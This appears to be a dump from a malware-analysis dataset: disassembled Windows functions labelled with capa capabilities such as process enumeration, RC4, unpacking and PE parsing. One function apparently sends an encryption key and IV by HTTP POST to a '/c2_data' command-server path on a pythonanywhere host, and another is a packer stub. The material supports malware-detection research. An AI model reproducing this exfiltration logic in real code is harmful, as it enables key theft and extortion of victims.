joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400628d0
Capabilities:
Enumerate processes

Disassembly:
mov rax, rsp
push rdi
sub rsp, 0x300
mov qword [rax - 0x278], 0xfffffffffffffffe
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov rax, qword [0x1400dc010]
xor rax, rsp
mov qword [rsp + 0x2f0], rax
mov rsi, rcx
mov qword [rsp + 0x78], rcx
mov dword [rsp + 0x20], 0
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
mov qword [rsp + 0x30], rax
xor edx, edx
mov r8d, 0x238
lea rcx, [rsp + 0xb0]
call sub.VCRUNTIME140.dll_memset
mov dword [rsp + 0xb0], 0x238
lea rdx, [rsp + 0xb0]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
mov ebx, 0xffffffff
test eax, eax
je 0x140062a28
lea rdx, [rsp + 0xdc]
lea rcx, [rsp + 0x28]
call fcn.14000c760
nop
mov r8, qword [rsi]
mov qword [rsp + 0x98], r8
test r8, r8
je 0x140062ad1
mov rax, qword [rsp + 0x28]
sub r8, rax
movzx edx, word [rax]
movzx ecx, word [rax + r8]
sub edx, ecx
jne 0x1400629a4
add rax, 2
test ecx, ecx
jne 0x140062990
test edx, edx
je 0x1400629f0
mov rcx, qword [rsp + 0x28]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x38], rcx
mov eax, ebx
lock xadd dword [rcx + 0x10], eax
sub eax, 1
jg 0x1400629d0
mov rdx, qword [rsp + 0x38]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + 8]
lea rdx, [rsp + 0xb0]
mov rdi, qword [rsp + 0x30]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140062961
jmp 0x140062a28
mov eax, dword [rsp + 0xb8]
mov dword [rsp + 0x20], eax
mov rcx, qword [rsp + 0x28]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x40], rcx
mov eax, ebx
lock xadd dword [rcx + 0x10], eax
sub eax, 1
jg 0x140062a23
mov rdx, qword [rsp + 0x40]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + 8]
mov rdi, qword [rsp + 0x30]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [rsp + 0x20], 0
je 0x140062a60
mov rax, qword [rsi]
sub rax, 0x18
mov qword [rsp + 0x48], rax
lock xadd dword [rax + 0x10], ebx
sub ebx, 1
jg 0x140062a5c
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + 8]
mov al, 1
jmp 0x140062aac
mov rax, qword [rsi]
sub rax, 0x18
mov qword [rsp + 0x50], rax
lock xadd dword [rax + 0x10], ebx
sub ebx, 1
jg 0x140062a84
mov rdx, qword [rsp + 0x50]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + 8]
xor al, al
jmp 0x140062aac
mov rcx, qword [rsp + 0x2f0]
xor rcx, rsp
call fcn.1400691f0
lea r11, [rsp + 0x300]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
mov ecx, 0x80004005
call fcn.14000dd90
int3
Function at 0x140065c60
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r12
push r13
push r14
push r15
mov rsi, qword [rsp + 0x48]
xor ebp, ebp
mov rax, qword [rsp + 0x50]
mov r12, r9
mov r11, qword [rsp + 0x60]
mov r13, r8
mov r14, rdx
mov qword [rsi], r8
mov qword [r11], rax
mov rax, qword [rsi]
cmp rax, r9
je 0x140065df4
mov r15, qword [rsp + 0x58]
lea r8d, [rbp + 1]
mov rbx, qword [r11]
mov r9d, 0x3ff
mov r10d, 0x2400
cmp rbx, r15
je 0x140065df4
movzx edx, word [r14]
xor dil, dil
movzx ecx, word [rax]
cmp r8w, dx
jae 0x140065cfa
lea eax, [r10 + rcx]
cmp ax, r9w
ja 0x140065e1a
movzx eax, dx
movzx ecx, cx
shl eax, 0xa
sub ecx, 0xdc00
or eax, ecx
jmp 0x140065d16
mov edx, 0x2800
movzx eax, cx
add cx, dx
cmp cx, r9w
ja 0x140065d16
shl eax, 0xa
mov dil, 1
sub eax, 0x35f0000
cmp eax, 0x80
jae 0x140065d29
movzx r9d, al
mov r10d, ebp
mov r8d, ebp
jmp 0x140065d73
mov r9d, eax
cmp eax, 0x800
jae 0x140065d40
shr r9d, 6
mov r10d, r8d
or r9b, 0xc0
jmp 0x140065d73
cmp eax, 0x10000
jae 0x140065d5a
shr r9d, 0xc
mov r10d, 2
or r9b, 0xe0
mov r8d, r10d
jmp 0x140065d73
shr r9d, 0x12
mov r10d, 3
movzx r8d, dil
or r9b, 0xf0
xor r8d, 1
add r8d, r8d
inc r8d
mov rdx, r15
sub rdx, rbx
mov ecx, r8d
cmp rdx, rcx
jl 0x140065df4
add qword [rsi], 2
test dil, dil
jne 0x140065d93
cmp r10d, 3
jae 0x140065d9f
mov rcx, qword [r11]
mov byte [rcx], r9b
inc qword [r11]
dec r8d
test r8d, r8d
jle 0x140065dd1
lea r9d, [r10 + r10*2]
add r9d, r9d
nop dword [rax + rax]
sub r9d, 6
mov edx, eax
mov ecx, r9d
dec r8d
shr edx, cl
mov rcx, qword [r11]
and dl, 0x3f
or dl, 0x80
mov byte [rcx], dl
inc qword [r11]
test r8d, r8d
jg 0x140065db0
mov r8d, 1
test dil, dil
je 0x140065de1
shr eax, 0xa
jmp 0x140065de4
mov eax, r8d
mov word [r14], ax
mov rax, qword [rsi]
cmp rax, r12
jne 0x140065cb1
cmp r13, qword [rsi]
sete bpl
mov eax, ebp
mov rbx, qword [rsp + 0x28]
mov rbp, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
mov rdi, qword [rsp + 0x40]
pop r15
pop r14
pop r13
pop r12
ret
mov eax, 2
jmp 0x140065dfd
Function at 0x140066d10
Capabilities:
Write file on windows

Disassembly:
push rbx
push rsi
push rdi
sub rsp, 0x80
mov rax, qword [0x1400dc010]
xor rax, rsp
mov qword [rsp + 0x78], rax
mov esi, 0xffff
movzx edi, dx
mov rbx, rcx
cmp si, dx
jne 0x140066d4b
xor eax, eax
cmp dx, si
cmove di, ax
movzx eax, di
jmp 0x140066e8b
mov rdx, qword [rcx + 0x40]
mov rax, qword [rdx]
test rax, rax
je 0x140066d78
mov rdx, qword [rcx + 0x58]
movsxd r8, dword [rdx]
lea rdx, [rax + r8*2]
cmp rax, rdx
jae 0x140066d78
call qword [sym.imp.MSVCP140.dll_protected:_wchar_t____ptr64___cdecl_std::basic_streambuf_wchar_t__struct_std::char_traits_wchar_t__::_Pninc_void____ptr64]
mov word [rax], di
movzx eax, di
jmp 0x140066e8b
cmp qword [rcx + 0x80], 0
mov qword [rsp + 0xb0], rbp
je 0x140066e80
mov r8, qword [rcx + 0x18]
lea rax, [rcx + 0x70]
cmp qword [r8], rax
jne 0x140066dbf
mov rdx, qword [rcx + 0x90]
mov rcx, qword [rcx + 0x88]
mov qword [r8], rcx
sub rdx, rcx
mov rax, qword [rbx + 0x38]
sar rdx, 1
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
mov rcx, qword [rbx + 0x68]
test rcx, rcx
jne 0x140066de9
movzx ecx, di
mov rdx, qword [rbx + 0x80]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputwc]
cmp ax, si
je 0x140066e80
movzx esi, di
jmp 0x140066e80
lea rax, [rsp + 0x48]
mov word [rsp + 0x40], di
mov qword [rsp + 0x38], rax
lea rdx, [rbx + 0x74]
lea rax, [rsp + 0x78]
mov qword [rsp + 0x30], rax
lea r9, [rsp + 0x42]
lea rax, [rsp + 0x58]
mov qword [rsp + 0x28], rax
lea r8, [rsp + 0x40]
lea rax, [rsp + 0x50]
mov qword [rsp + 0x20], rax
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_wchar_t__char__struct__Mbstatet_::out_struct__Mbstatet____ptr64__wchar_t_const____ptr64__wchar_t_const____ptr64__wchar_t_const____ptr64____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
js 0x140066e80
cmp eax, 1
jle 0x140066e3f
cmp eax, 3
jne 0x140066e80
movzx ecx, word [rsp + 0x40]
jmp 0x140066dcb
mov rbp, qword [rsp + 0x48]
lea rax, [rsp + 0x58]
sub rbp, rax
je 0x140066e6d
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x58]
mov r8, rbp
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rbp, rax
jne 0x140066e80
lea rax, [rsp + 0x40]
mov byte [rbx + 0x72], 1
cmp qword [rsp + 0x50], rax
movzx eax, di
jne 0x140066e83
movzx eax, si
mov rbp, qword [rsp + 0xb0]
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.1400691f0
add rsp, 0x80
pop rdi
pop rsi
pop rbx
ret
Function at 0x140067de0
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x60
mov rax, qword [0x1400dc010]
xor rax, rsp
mov qword [rsp + 0x58], rax
cmp qword [rcx + 0x68], 0
mov rbx, rcx
je 0x140067e92
cmp byte [rcx + 0x72], 0
je 0x140067e92
mov rax, qword [rcx]
mov edi, 0xffff
mov edx, edi
call qword [rax + 0x18]
cmp di, ax
je 0x140067e53
mov rcx, qword [rbx + 0x68]
lea rax, [rsp + 0x30]
lea rdx, [rbx + 0x74]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x58]
lea r8, [rsp + 0x38]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_wchar_t__char__struct__Mbstatet_::unshift_struct__Mbstatet____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x140067e57
sub eax, 1
je 0x140067e5b
sub eax, 2
je 0x140067e92
xor al, al
jmp 0x140067e94
mov byte [rbx + 0x72], 0
mov rdi, qword [rsp + 0x30]
lea rax, [rsp + 0x38]
sub rdi, rax
je 0x140067e89
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x38]
mov r8, rdi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rdi, rax
jne 0x140067e53
cmp byte [rbx + 0x72], 0
sete al
jmp 0x140067e94
mov al, 1
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.1400691f0
mov rbx, qword [rsp + 0x78]
add rsp, 0x60
pop rdi
ret
Function at 0x180caa340
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.180caa4c7
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x180caa371
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x180caa357
add dl, dl
jne 0x180caa37e
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x180caa3de
xor eax, eax
add dl, dl
jne 0x180caa38d
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x180caa495
add dl, dl
jne 0x180caa39e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x180caa3ab
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x180caa3b8
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x180caa3c5
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x180caa3d2
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x180caa366
mov eax, 1
add dl, dl
jne 0x180caa3ee
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x180caa3fb
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x180caa3e3
sub eax, ebx
mov ebx, 1
jne 0x180caa434
mov ecx, 1
add dl, dl
jne 0x180caa416
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x180caa423
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x180caa40b
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x180caa366
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x180caa450
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x180caa45d
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x180caa445
cmp eax, 0x7d00
jae 0x180caa483
cmp eax, 0x500
jb 0x180caa47e
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x180caa366
cmp eax, 0x7f
ja 0x180caa486
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x180caa366
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x180caa4ba
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x180caa366
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x140022f60
Capabilities:
Terminate process

Disassembly:
cld
pop r11
jmp 0x140022f6d
inc rsi
mov byte [rdi], dl
inc rdi
mov dl, byte [rsi]
add ebx, ebx
jne 0x140022f7d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jb 0x140022f65
lea eax, [rcx + 1]
call r11
adc eax, eax
add ebx, ebx
jne 0x140022f95
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jae 0x140022f82
sub eax, 3
jb 0x140022faf
shl eax, 8
movzx edx, dl
or eax, edx
inc rsi
xor eax, 0xffffffff
je 0x140022fe6
movsxd rbp, eax
lea eax, [rcx + 1]
call r11
adc ecx, ecx
call r11
adc ecx, ecx
jne 0x140022fd6
mov ecx, eax
add eax, 2
call r11
adc ecx, ecx
add ebx, ebx
jne 0x140022fd4
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jae 0x140022fc3
cmp rbp, 0xfffffffffffff300
adc ecx, eax
call fcn.140022f22
jmp 0x140022f6d
pop rsi
mov rdi, rsi
push rsi
mov rdi, rsi
mov rsi, 0xf600
mov dl, 5
push rbx
push rdi
lea rcx, [rdi + rsi - 3]
pop rsi
push rsi
pop rbx
jmp 0x140023032
cmp rsi, rcx
jae 0x14002303a
push rsi
pop rsi
lodsb al, byte [rsi]
cmp al, 0x80
jb 0x140023019
cmp al, 0x8f
ja 0x140023019
cmp byte [rsi - 2], 0xf
je 0x14002301f
sub al, 0xe8
cmp al, 1
ja 0x140023003
cmp rsi, rcx
jae 0x14002303a
push rsi
lodsd eax, dword [rsi]
sub al, dl
jne 0x140023009
pop rdi
bswap eax
sub eax, edi
add eax, ebx
stosd dword [rdi], eax
cmp rsi, rcx
jae 0x14002303a
lodsb al, byte [rsi]
jmp 0x140023019
pop rbx
pop rsi
sub rsp, 0x28
lea rdi, [rsi + 0x20000]
mov eax, dword [rdi]
or eax, eax
je 0x140023097
mov ebx, dword [rdi + 4]
lea rcx, [rax + rsi + 0x23000]
add rbx, rsi
add rdi, 8
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
xchg rbp, rax
mov al, byte [rdi]
inc rdi
or al, al
je 0x140023047
mov rcx, rdi
mov rdx, rdi
dec eax
repne scasb al, byte [rdi]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
or rax, rax
je 0x140023091
mov qword [rbx], rax
add rbx, 8
jmp 0x140023067
jmp qword [sym.imp.KERNEL32.DLL_ExitProcess]
add rsp, 0x28
add rdi, 4
lea rbx, [rsi - 4]
xor eax, eax
mov al, byte [rdi]
inc rdi
or eax, eax
je 0x1400230d1
cmp al, 0xef
ja 0x1400230c3
add rbx, rax
mov rax, qword [rbx]
bswap rax
add rax, rsi
mov qword [rbx], rax
jmp 0x1400230a3
and al, 0xf
shl eax, 0x10
mov ax, word [rdi]
add rdi, 2
jmp 0x1400230b2
mov rbp, qword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea rdi, [rsi - 0x1000]
mov ebx, 0x1000
push rax
mov r9, rsp
mov r8d, 4
mov rdx, rbx
mov rcx, rdi
sub rsp, 0x20
call rbp
lea rax, [rdi + 0x21f]
and byte [rax], 0x7f
and byte [rax + 0x28], 0x7f
lea r9, [rsp + 0x20]
mov r8, qword [r9]
mov rdx, rbx
mov rcx, rdi
call rbp
add rsp, 0x28
pop rbp
pop rdi
pop rsi
pop rbx
lea rax, [rsp - 0x80]
push 0
cmp rsp, rax
jne 0x140023125
sub rsp, 0xffffffffffffff80
jmp 0x140001278
Function at 0x140002560
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r14
sub rsp, 0x90
mov rax, qword [0x140047040]
xor rax, rsp
mov qword [rsp + 0x88], rax
mov rdi, rcx
mov qword [rsp + 0x28], rcx
xor r14d, r14d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindResourceA]
mov rbx, rax
test rax, rax
je 0x14000264f
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov esi, eax
mov rdx, rbx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LoadResource]
test rax, rax
je 0x14000261c
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rbp, rax
mov qword [rdi], r14
mov qword [rdi + 8], r14
mov qword [rdi + 0x10], r14
test rsi, rsi
je 0x1400025fb
mov edx, esi
mov rcx, rdi
call fcn.140001e80
mov rbx, qword [rdi]
mov r8d, esi
mov rdx, rbp
mov rcx, rbx
call fcn.140030000
lea rcx, [rsi + rbx]
mov qword [rdi + 8], rcx
mov rax, rdi
mov rcx, qword [rsp + 0x88]
xor rcx, rsp
call fcn.140014220
add rsp, 0x90
pop r14
pop rdi
pop rsi
pop rbp
pop rbx
ret
lea rdx, str.LoadResource_failed
lea rcx, [rsp + 0x30]
call fcn.140001740
nop
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x50]
call fcn.1400017e0
lea rdx, [0x140045ae0]
lea rcx, [rsp + 0x50]
call fcn.140014fd8
nop
lea rdx, str.FindResource_failed
lea rcx, [rsp + 0x30]
call fcn.140001740
nop
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x50]
call fcn.1400017e0
lea rdx, [0x140045ae0]
lea rcx, [rsp + 0x50]
call fcn.140014fd8
int3

Function at 0x140008a80
Capabilities:
Hash data with crc32

Disassembly:
push rbx
sub rsp, 0x20
xor r8d, r8d
mov edx, 4
mov rbx, rcx
call fcn.14000ccb0
mov rcx, qword [rbx + 8]
mov rdx, qword [rbx + 0x10]
sub rdx, rcx
je 0x140008ab0
mov r8d, eax
add rsp, 0x20
pop rbx
jmp fcn.14000ccb0
add rsp, 0x20
pop rbx
ret

Function at 0x14000ccb0
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
xor r9d, r9d
mov r10, rdx
not r8d
test rdx, rdx
je 0x14000ccee
lea r11, [0x140032e00]
nop word [rax + rax]
movzx edx, byte [rcx + r9]
mov eax, r8d
xor rdx, rax
shr r8d, 8
movzx eax, dl
inc r9
xor r8d, dword [r11 + rax*4]
cmp r9, r10
jb 0x14000ccd0
not r8d
mov eax, r8d
ret
Function at 0x140014cdc
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140014d26
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140014d26
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140014d26
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140014d26
cmp dword [rcx + 0x84], 0xe
jbe 0x140014d26
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140014d28
xor al, al
add rsp, 0x28
ret

Function at 0x14001e7dc
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x14001e84b
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14001e84b
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14001e84b
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14001e84b
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14001e84b
cmp dword [rcx + 0x84], 0xe
jbe 0x14001e84b
cmp dword [rcx + 0xf8], 0
je 0x14001e84b
mov ecx, ebx
call fcn.14001e8fc
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.14001e6d8
nop
cmp dword [rbp + 0x20], 0
je 0x14001e899
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.14001e8a4
int3
xor edx, edx
xor ecx, ecx
lea r8d, [rdx + 1]
jmp 0x14001e7dc

Function at 0x14001e9e0
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x14001e7dc
Function at 0x140028c98
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x140028cc8
xor eax, eax
jmp 0x140028d8b
mov rbp, rbx
cmp word [rax], si
je 0x140028ced
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x140028cd4
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x140028cd0
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.140027380
movsxd r14, eax
test eax, eax
jne 0x140028d2b
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x140028cc1
mov rcx, r14
call fcn.140022c6c
mov rdi, rax
test rax, rax
jne 0x140028d44
xor ecx, ecx
call fcn.140022c30
jmp 0x140028d20
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.140027380
test eax, eax
jne 0x140028d75
mov rcx, rdi
call fcn.140022c30
jmp 0x140028d7f
xor ecx, ecx
call fcn.140022c30
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret

Function at 0x14002b8b8
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov esi, edx
mov ebx, ecx
call fcn.140021d84
mov ecx, ebx
lea r8, [rsp + 0x30]
and ecx, 0x3ff
mov r9d, 2
bts ecx, 0xa
mov edx, 0x20000001
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
xor edx, edx
test eax, eax
je 0x14002b959
cmp ebx, dword [rsp + 0x30]
je 0x14002b952
test esi, esi
je 0x14002b952
mov r10, qword [rdi + 0x98]
mov r9d, edx
movzx r8d, word [r10]
lea rcx, [r10 + 2]
lea eax, [r8 - 0x41]
cmp ax, 0x19
jbe 0x14002b92d
sub r8w, 0x61
cmp r8w, 0x19
ja 0x14002b93a
movzx r8d, word [rcx]
inc r9d
add rcx, 2
jmp 0x14002b917
or rax, 0xffffffffffffffff
inc rax
cmp word [r10 + rax*2], dx
jne 0x14002b93e
cmp r9d, eax
setne dl
mov eax, edx
jmp 0x14002b95b
mov eax, 1
jmp 0x14002b95b
xor eax, eax
mov rbx, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret

Function at 0x14002fc60
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14002fc88
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x14002fc88
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x140001d20
Capabilities:
Connect to http server
Create http request
Send data
Send http request

Disassembly:
push rbx
push rsi
push rdi
push r15
sub rsp, 0x1e8
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x1c0], rax
mov rdi, rdx
mov rsi, rcx
xor ebx, ebx
lea rcx, str.TLD13Browser_11.0
mov edx, 1
mov dword [rsp + 0x20], ebx
xor r9d, r9d
xor r8d, r8d
call qword [sym.imp.WININET.dll_InternetOpenA]
mov r15, rax
test rax, rax
je 0x140001f49
mov qword [rsp + 0x38], rbx
lea rdx, str.tdsoperational.pythonanywhere.com
mov dword [rsp + 0x30], ebx
mov r8d, 0x1bb
mov qword [rsp + 0x1e0], r12
xor r9d, r9d
mov qword [rsp + 0x1d0], r14
mov rcx, rax
mov r14d, 3
mov dword [rsp + 0x28], r14d
mov qword [rsp + 0x20], rbx
call qword [sym.imp.WININET.dll_InternetConnectA]
mov r12, rax
test rax, rax
jne 0x140001dc7
mov rcx, r15
call qword [sym.imp.WININET.dll_InternetCloseHandle]
jmp 0x140001f39
mov qword [rsp + 0x38], rbx
lea r8, str._c2_data
mov dword [rsp + 0x30], 0x800000
lea rdx, str.POST
mov qword [rsp + 0x28], rbx
xor r9d, r9d
mov rcx, r12
mov qword [rsp + 0x20], rbx
mov qword [rsp + 0x1d8], r13
call qword [sym.imp.WININET.dll_HttpOpenRequestA]
mov r13, rax
test rax, rax
je 0x140001f1f
mov qword [rsp + 0x220], rbp
lea rbx, [rsp + 0x70]
mov ebp, 0x20
nop
movzx r8d, byte [rsi]
lea rdx, str._02x
mov rcx, rbx
call fcn.1400010c0
add rbx, 2
lea rsi, [rsi + 1]
sub rbp, 1
jne 0x140001e20
mov rbp, qword [rsp + 0x220]
lea rbx, [rsp + 0x40]
mov byte [rsp + 0xb0], 0
mov esi, 0x10
nop dword [rax + rax]
movzx r8d, byte [rdi]
lea rdx, [0x1400060e0]
mov rcx, rbx
call fcn.1400010c0
add rbx, 2
lea rdi, [rdi + 1]
sub rsi, 1
jne 0x140001e60
lea rax, [rsp + 0x40]
mov byte [rsp + 0x60], sil
lea r9, [rsp + 0x70]
mov qword [rsp + 0x20], rax
lea r8, str._key_:__s___iv_:__s_
mov edx, 0x100
lea rcx, [rsp + 0xc0]
call fcn.140001120
lea rbx, str.Content_Type:_application_json
dec r14d
lea rcx, [rsp + 0xc0]
mov rax, 0xffffffffffffffff
inc rax
cmp byte [rcx + rax], 0
jne 0x140001ec7
mov r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp byte [rbx + r8], 0
jne 0x140001ee0
lea r9, [rsp + 0xc0]
mov dword [rsp + 0x20], eax
mov rdx, rbx
mov rcx, r13
call qword [sym.imp.WININET.dll_HttpSendRequestA]
test eax, eax
jne 0x140001f16
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
test r14d, r14d
jne 0x140001eb5
mov rcx, r13
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r12
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r15
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov r13, qword [rsp + 0x1d8]
mov r12, qword [rsp + 0x1e0]
mov r14, qword [rsp + 0x1d0]
mov rcx, qword [rsp + 0x1c0]
xor rcx, rsp
call fcn.140002380
add rsp, 0x1e8
pop r15
pop rdi
pop rsi
pop rbx
ret
Function at 0x140002c40
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140002c8a
